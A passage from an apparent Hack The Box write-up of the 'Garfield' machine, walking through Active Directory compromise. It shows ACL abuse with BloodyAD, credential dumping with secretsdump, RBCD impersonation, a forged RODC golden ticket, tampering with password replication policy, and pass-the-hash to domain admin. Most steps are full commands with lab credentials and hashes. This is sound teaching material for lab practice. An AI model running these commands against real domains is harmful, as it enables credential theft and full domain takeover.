  • Using proxychains, an Evil-WinRM session can be initiated against RODC01:
proxychains -q evil-winrm -i RODC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
  • The -q option suppresses unnecessary ProxyChains output, keeping the terminal focused on the connection and command results.
  • Once connected, the identity and hostname are verified as garfield\l.wilson_adm and RODC01 respectively.
  • Checking the privileges assigned to the current security token, we only have three enabled privileges:
whoami /priv

Enumerating Writable Active Directory Permissions

  • The next step is to examine the Active Directory objects that l.wilson_adm can modify:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable
  • The most interesting entry is the RODC computer object. It indicates that the account has write access to the RODC01 object. However, a generic WRITE result does not tell us precisely which attributes can be modified. To understand the available attack surface, the permission need to be enumerated in greater detail:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail
  • The msDS-AllowedToActOnBehalfOfOtherIdentity attribute is usually associated with Resource-Based Constrained Delegation (RBCD). We’ll come back to this later.
  • The presence of writable attributes does not automatically mean every associated attack technique is immediately viable. For this attack path, however, the RODC’s relationship with RODC Administrators group becomes particularly interesting.

Establishing a Baseline for Permission Changes

  • Before modifying group membership, it is useful to save the current permissions to a file. This provides a baseline against which subsequent changes can be compared:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail > before_writable_permissions.txt
  • Instead of relying on memory or manually inspecting two lengthy outputs, a simple diff can reveal exactly what changed.

Adding l.wilson_adm to RODC Administrators

  • The next observation comes from BloodHound, which identified that l.wilson_adm can be added to the RODC Administrators group.
  • This is particularly interesting because membership in this group can provide delegated administrative control over the Read-Only Domain Controller:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' add groupMember "RODC Administrators" l.wilson_adm 
  • The operation succeeds.
  • With the account now added to the group, the writable permissions are enumerated again:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail
  • Two newly visible attributes deserve particular attention:
    • msDS-RevealOnDemandGroup: Controls which security principals are permitted to have their passwords replicated to the RODC on demand.
    • msDS-NeverRevealGroup: Defines security principals whose credentials must never be replicated on the RODC.
  • The managedBy attribute is also now writable. This attribute identifies the security principal responsible for managing an Active Directory Object.
  • The appearance of these additional permissions is significant. Adding l.wilson_adm to RODC Administrators has expanded the account’s effective ability to modify the RODC’s Active Directory configuration.
  • To identify the exact changes, the updated permissions are saved to another file:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail > after_writable_permissions.txt
  • The two files can the be compared using diff:
diff before_writable_permissions.txt after_writable_permissions.txt`
  • This confirms that the additional writable attributes appeared after the group membership change.
  • The important takeaway is that group membership is not merely an administrative label. It can alter the permissions associated with an account, exposing new opportunities for modifying Active Directory Objects.

Verifying the RODC Administrators Permissions with NetExec

  • To get a closer look at the underlying Access Control Entries (ACEs) NetExec’s daclread module can be used:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='RODC01$' PRINCIPAL='RODC Administrators'
  • The ACE[4] grants the RODC Administrators group both read and write access to the managedBy attribute.
  • The next entries confirm similar permissions for the two RODC password replication attributes msDS-RevealOnDemandGroup and msDS-NeverRevealGroup.

Modifying the managedBy Attribute

  • With the write access to managedBy confirmed, the next step is to assign l.wilson_adm as the manager of the RODC01 computer object.
  • First, retrieve the Distinguished Name (DN) of the account:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object l.wilson_adm --attr distinguishedName`
  • Next, inspect the current managedBy value of the RODC01 computer account:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr managedBy

The managedBy attribute can now be updated to reference the distinguished name of l.wilson_adm:

bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ managedBy -v "CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
  • The modification was successful.
  • To verify the change, query the attribute again:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr managedBy
  • The output confirms that l.wilson_adm is now recorded as the manager of the RODC01 computer object.
  • The modification is important because the managedBy relationship is tied to the delegated permissions exposed through the RODC Administrators group.

Refreshing the Session to Obtain the Updated Privileges

  • The Active Directory changes have now been made, but the existing Evil-WinRM session was established before the group membership and object modifications.
  • Windows access tokens are created when a logon session is established. Changes to group membership do not necessarily appear in an already-existing token. Therefore, the current session needs to be closed and a new one established so that the updated group membership can be reflected.
  • Exit the current session and reconnect to RODC01 through the SOCKS proxy:
proxychains -q evil-winrm -i RODC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
  • Once connected, enumerate the privileges again:
whoami /priv
  • The difference is substantial. The new session exposes a much larger set of enabled privileges.
  • These privileges significantly expand the available attack surface.

Dumping RODC Secrets and Exploiting Resource-Based Constrained Delegation

  • With the expanded privileges on RODC01, the next objective is to extract credentials and investigate whether the Read-Only Domain Controller can be leveraged to obtain a privileged session.

Attempting to Dump Secrets from RODC01

  • The initial attempt uses impacket-secretsdump through the established SOCKS proxy:
proxychains -q impacket-secretsdump 'l.wilson_adm:P@ssw0rd123@RODC01.garfield.htb'
  • The tool successfully connects to the target, starts the Remote Registry service and retrieves several local secrets.
  • The output confirms that the Local Security Account Manager (SAM) database has been accessed. It also retrieves LSA secrets, including the machine account credentials for RODC01$, DPAPI system keys and the NL$KM secret.
  • However, the important part comes when Impacket attempts to retrieve domain credentials form the Active Directory database. The DRSUAPI approach fails, and the tool explicitly recommends trying the Volume Shadow Copy Service (VSS) method.
  • Most importantly, this attempt does not retrieve the expected privileged domain credentials.

Using the VSS Method

  • Following Impacket’s recommendation, the command is repeated with the -use-vss option:
proxychains -q impacket-secretsdump 'l.wilson_adm:P@ssw0rd123@RODC01.garfield.htb' -use-vss
  • This time the process progresses further.
  • After retrieving the local SAM and LSA secrets, Impacket locates the Active Directory database.
  • The -use-vss option instructs Impacket to use Volume Shadow Copy Service to obtain a copy of NTDS.dit, rather than relying on the DRSUAPI replication method.
  • Once the database has been copied, Impacket proceeds to extract and decrypt the stored password hashes.
  • Although the VSS method successfully retrieves the database contents, the result does not provide a usable Domain Administrator password hash.
  • The output contains several accounts with the well-known empty NT hash 31d6cfe0d16ae931b73c59d7e0c089c0.
  • An RODC maintains a password replication policy that determines which account credentials can be cached locally. It does not behave like a writable domain controller with an unrestricted copy of all domain credentials. Consequently, extracting NTDS.dit from the RODC does not guarantee that every domain account’s actual password hash will be available.
  • The presence of krbtgt_8245 with a non-empty NT hash is worth noting because RODCs use a separate KRBTGT account for their Kerberos operations.
  • The important conclusion is that the VSS approach successfully extracts the available database contents, but it does not provide the desired privileged credentials. A different attack path is needed.

Creating a Computer Account

  • The earlier enumeration revealed that l.wilson_adm can modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the RODC01 computer object.
  • This attribute is central to Resource-Base Constrained Delegation (RBCD). It controls which security principals are permitted to act on behalf o other identities when accessing services hosted by the target computer.
  • To exploit this configuration, a computer account is first created. Active Directory commonly allows authenticated domain users to create a limited number of computer accounts, depending on the domain’s ms-DS-MachineAccountQuota setting.
  • The following command creates a computer account name NATO$ with the specified password:
impacket-addcomputer -computer-name NATO$ -computer-pass 'P@ssw0rd123' -dc-ip DC01.garfield.htb 'garfield.htb/l.wilson_adm:P@ssw0rd123'
  • The operation succeeds. The newly created computer account will serve as the delegation principal in the RBCD attack.

Configuring Resource-Based Constrained Delegation

  • With the NATO$ computer account created, the next step is to configure RBCD on RODC01.
  • The impacket-rbcd utility can modify the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute:
impacket-rbcd -delegate-to 'RODC01$' -delegate-from 'NATO$' -action write -dc-ip DC01.garfield.htb 'garfield.htb/l.wilson_adm:P@ssw0rd123'

Synchronizing the Attacker’s Clock

  • Before requesting Kerberos service tickets, the attacking machine’s clock needs to be synchronized with the domain controller:
sudo ntpdate DC01.garfield.htb

Requesting a Service Ticket as Administrator

  • Impacket’s getST utility supports the S4U extensions to Kerberos, allowing newly created computer account to request a service ticket on behalf of another user:
impacket-getST -spn cifs/RODC01.garfield.htb -impersonate administrator 'garfield.htb/NATO$:P@ssw0rd123'
  • The tool successfully obtains a Ticket-Granting Ticket (TGT) for NATO$, performs the S4U2Self request and then requests an S4U2Proxy service ticket for the CIFS service while impersonating administrator.
  • This ticket can now be used to authenticate to the CIFS service on RODC01 as the impersonated identity, subject to the target service accepting the ticket and the account’s applicable authorization.

Generating a Kerberos Configuration File

  • For Kerberos authentication to work reliably from the attacking machine, the client needs to know which realm and Key Distribution Center (KDC) to use:
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --generate-krb5-file garfield_krb5.conf
  • To make the configuration available to Kerberos-aware tools, export the **KRB5_CONFIG** environment variable:
export KRB5_CONFIG=garfield_krb5.conf

Obtaining a SYSTEM Shell on RODC01

  • With the service ticket available, the next step is to use it to authenticate to RODC01 through impacket’s psexec.
  • The KRB5CCNAME variable specifies the Kerberos credential cache containing the impersonation ticket:
KRB5CCNAME=administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache proxychains -q impacket-psexec RODC01.garfield.htb -k
  • The results confirms that the RBCD attack has successfully provided a SYSTEM-level shell on RODC01.
  • Despite having obtained a SYSTEM shell, the expected root flag could be not be located. (Maybe it is because it is a SYSTEM-level shell on a Read-Only Domain Controller🤷‍♂️ I’m not sure about this🤦‍♂️)

Investigating the RODC Password Replication Policy

  • With SYSTEM access established on RODC01, the next step is to investigate the relationship between its Read-Only Domain Controller (RODC) account and its associated Kerberos service account krbtgt_8245:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object krbtgt_8245
  • Two attributes are particularly interesting:
    • msDS-KrbTgtLinkBl identifies the RODC associated with this Kerberos service account. Here, it points to RODC01.
    • msDS-RevealedDSAs records the Directory Service Agents (DSAs) to which credentials have been revealed. The repeated RODC01 entries indicate that this RODC is associated with the recorded credential-revelation activity.
  • The msDS-SecondaryKrbTgtNumber attribute also confirms the RODC-specific identifier 8245.
  • These attributes establish the relationship between krbtgt_8245 and RODC01.

Obtaining a Custom ticketer.py

  • The next step involves generating a Kerberos ticket using the RODC-specific krbtgt hash obtained earlier.
  • The standard Impacket ticketer.py supports Golden Ticket generation, but the version used here is retrieved from a specific commit that supports RODC Golden Ticket mode.
  • Download the script:
wget "https://raw.githubusercontent.com/fortra/impacket/b12b2f3b00315d32ce27461caf8dccfe1aaebe6d/examples/ticketer.py"
  • Verify the downloaded file and make it executable:
chmod +x ticketer.py

Retrieving the Domain SID

  • Ticket generation requires the Domain SID. This can be obtained from the objectSid attribute of any domain security principal:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object l.wilson_adm --attr objectSid
  • A domain user’s SID consists of the domain SID followed by the user’s Relative Identifier (RID). Therefore, removing the final RID (3107) gives the Domain SID.

Generating an RODC Golden Ticket

  • With the domain SID and the previously extracted krbtgt_8245 NT hash available, the custom ticketer.py can be used to generate a ticket for the domain administrator:
./ticketer.py -domain garfield.htb -domain-sid S-1-5-21-2502726253-3859040611-225969357 -nthash 445aa4221e751da37a10241d962780e2 -rodcNo 8245 Administrator
  • The command instructs the script to generate an RODC-specific Golden Ticket, encoding the RODC number into the ticket’s Kerberos version number (KVNO) through the option -rodcNo.
  • The output confirms that the ticket was created and saved as Administrator.ccache.

Attempting to Dump Domain Secrets

  • With the ticket generated, an attempt was made to authenticate to DC01 and perform a secrets dump:
KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb
  • However, the attempt failed.

Modifying the RODC Password Replication Policy

  • An RODC does not replicate every domain credential by default. Instead, its Password Replication Policy (PRP) determines which accounts are permitted to have their credentials cached on the Read-Only Domain Controller and which accounts are explicitly prohibited.
  • Two Active Directory attributes control the relevant group-based policy:
    • msDS-NeverRevealGroup: defines groups whose credentials must never be replicated to the RODC.
    • msDS-RevealOnDemandGroup: defines groups whose credentials may be replicated to the RODC when requested.
  • The next step is to inspect these attributes on the **RODC01$** computer account.

Examining the RODC Computer Account

  • Retrieve the properties of RODC01$:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$
  • The output confirms that RODC01$ is linked to krbtgt_8245 and exposed the two password replication policy attributes.
  • The existing configuration has several groups in the Never Reveal list, including Administrators, Backup Operators and Server Operators. Meanwhile, the Reveal On Demand list contains only the Allowed RODC Password Replication Group.
  • This configuration is significant because membership in the Domain Admins group does not automatically make its credentials available to an RODC. The password replication policy must permit the credentials to be cached and accounts covered by the Never Reveal policy remain protected from replication.

Inspecting the Existing PRP Attributes

  • Before modifying anything, retrieve each attribute independently to establish its current value.
  • First, inspect msDS-NeverRevealGroup:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-NeverRevealGroup
  • The output confirms the existing protected groups.
  • Next, inspect msDS-RevealOnDemandGroup:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-RevealOnDemandGroup

Removing the Never Reveal Restrictions

  • The l.wilson_adm account has sufficient permissions to modify the relevant attributes on the RODC01$ object.
  • The first modification clears the msDS-NeverRevealGroup attribute:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ msDS-NeverRevealGroup
  • Verify that the attribute is now empty:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-NeverRevealGroup
  • The result contains only the distinguished name.
  • The absence of an msDS-NeverRevealGroup value confirms that the attribute has been cleared.
  • This removes the group-based exclusions previously configured on the RODC. It is a significant policy change, particularly because the original list explicitly included privileged groups.

Adding Domain Admins to the Reveal on Demand Group

  • The next modification changes the group permitted to have credentials revealed to the RODC.
  • First, retrieve the distinguished name of the Domain Admins group:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object "Domain Admins" --attr distinguishedName
  • The output provides the required DN.
  • With that value available, update msDS-RevealOnDemandGroup on RODC01$:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ msDS-RevealOnDemandGroup -v 'CN=Domain Admins,CN=Users,DC=garfield,DC=htb'
  • The operation succeeds.
  • Verify the updated attribute:
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-RevealOnDemandGroup
  • The policy now identifies Domain Admins as the group whose credentials may be revealed to RODC01 on demand.

Dumping Domain Secrets and Recovering Administrator Credentials

  • With the RODC Password Replication Policy modified, the next step is to revisit the secrets dump against the writable domain controller, DC01.

Dumping Secrets Using the RODC Golden Ticket

  • The first attempt uses the generated Administrator.ccache file to authenticate to DC01:
KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb
  • This time, the operation successfully retrieves a substantial amount of credential material, including local SAM hashes, LSA secrets, domain account hashes and Kerberos encryption keys.
  • The dump also reveals the Administrator’s NT hash and an LSA secret named DefaultPassword that exposes the Administrator’s plaintext password.
  • The tool also exits with some errors.

Repeating the Dump using the Volume Shadow Copies

  • To avoid the cleanup issues and use an alternative extraction method, repeat the operation with the -use-vss option:
KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb -use-vss
  • The -use-vss option instructs Impacket to obtain a shadow copy of the NTDS database rather than relying on default DRSUAPI extraction method. This provides an alternative way to access the NTDS.dit file, which contains Directory account information and password hashes.

Getting Administrator Access on DC01

  • Before opening an interactive session, verify the recovered credentials against the available services. This helps establish which authentication methods accept the credentials and confirms that the account has administrative access.

Authenticating with the Administrator’s NT Hash

  • SMB Authentication:
nxc smb DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5' 
  • The results confirms successful authentication. The (Pwn3d!) indicator confirms that the authenticated account has administrative privileges over SMB.
  • LDAP Authentication:
nxc ldap DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5' 
  • The authentication succeeds.
  • WinRM Authentication:
nxc winrm DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5'
  • The result confirms successful authentication over WinRM as well.

Authenticating with the Recovered Password

  • SMB Authentication:
nxc smb DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
  • LDAP Authentication:
nxc ldap DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
  • WinRM Authentication:
nxc winrm DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
  • Both authentication methods work successfully across all three services.

Getting an Administrator Shell and Retrieving the Root Flag

  • Using Pass-the-Hash:
evil-winrm -i DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5'
  • The connection succeeds.
  • Inspecting the Administrator’s profile, the root flag is located in the Desktop directory.
  • Both the NT hash and plaintext password provide a working Administrator access on DC01.

Conclusion

Garfield was a great reminder that Active Directory compromise is rarely about one spectacular vulnerability. Sometimes, all it takes is poorly delegated permission, a writable attribute and a little curiosity to get things moving.

From abusing SYSVOL and taking over user accounts to pivoting into an RODC, exploiting RBCD and manipulating Kerberos and Password Replication Policy, each discovery opened the door to the next. What looked like a collection of isolated weaknesses eventually became a complete path to domain compromise.

The biggest lesson? Never underestimate delegated permissions or assume that a Read-Only Domain Controller is harmless. Active Directory is full of relationships and attackers only need to find the right ones to turn a small foothold into a major incident.

And with that, Garfield’s secrets are out. Looks like this cat had more than nine lives after all😅


Tools Used

Enumeration and Active Directory Analysis

  • Nmap — Network and service discovery.
  • ping — Basic connectivity testing.
  • NetExec — SMB, LDAP, WinRM and RDP enumeration and authentication validation.
  • smbclient — SMB share enumeration and file access.
  • RustHound-CE — Active Directory data collection for BloodHound.
  • BloodHond — Active Directory relationship and attack-path analysis.
  • BloodyAD — Active Directory object and permission enumeration and modification.
  • impacket-dacledit — Discretionary Access Control List (DACL) inspection and manipulation

Shell Access and Remote Execution

  • evil-winrm — Remote PowerShell access over WinRM.
  • Netcat — Receiving reverse shells and basic network communication.
  • rlwrap — Improve interactive shell input.
  • PowerShell — Windows enumeration and command execution.
  • impacket-psexec — Remote command execution through SMB service creation.
  • revshells.com — Reverse-shell payload generation.

Network Pivoting and Connectivity

  • chisel — Reverse tunnelling and SOCKS proxy establishment.
  • proxychains — Routing network connections through the SOCKS proxy.
  • ntpdate — Synchronizing the attacking machine’s clock with the domain controller.

Kerberos, Delegation and Credential Extraction

  • impacket-secretsdump — Extracting local and domain secrets.
  • impacket-addcomputer — Creating a computer account in Active Directory.
  • impacket-rbcd — Configuring Resource-Base Constrained Delegation.
  • impacket-getST- Requesting Kerberos service tickets, including S4U-based tickets.
  • impacket-ticketer — Generating forged Kerberos tickets, including RODC-specific tickets.

File Handling, Scripting and System Utilities

  • vim — Editing configuration files and scripts.
  • base64 — Encoding and decoding data.
  • iconv — Character encoding conversion.
  • wget- Downloading Files and Scripts.
  • curl — Retrieving remote resources.
  • file — Identifying file types.
  • 7z — Archive inspection and extraction.
  • python — Running Python scripts and supporting tooling.
  • md5sum — Calculating file checksums.
  • diff — Comparing permission enumeration results.
  • chmod — Modifying file permissions.

References

Kerberos and RODC Attacks

Network Tunnelling and Payload Generation

About the author

No comments yet. Be the first to comment.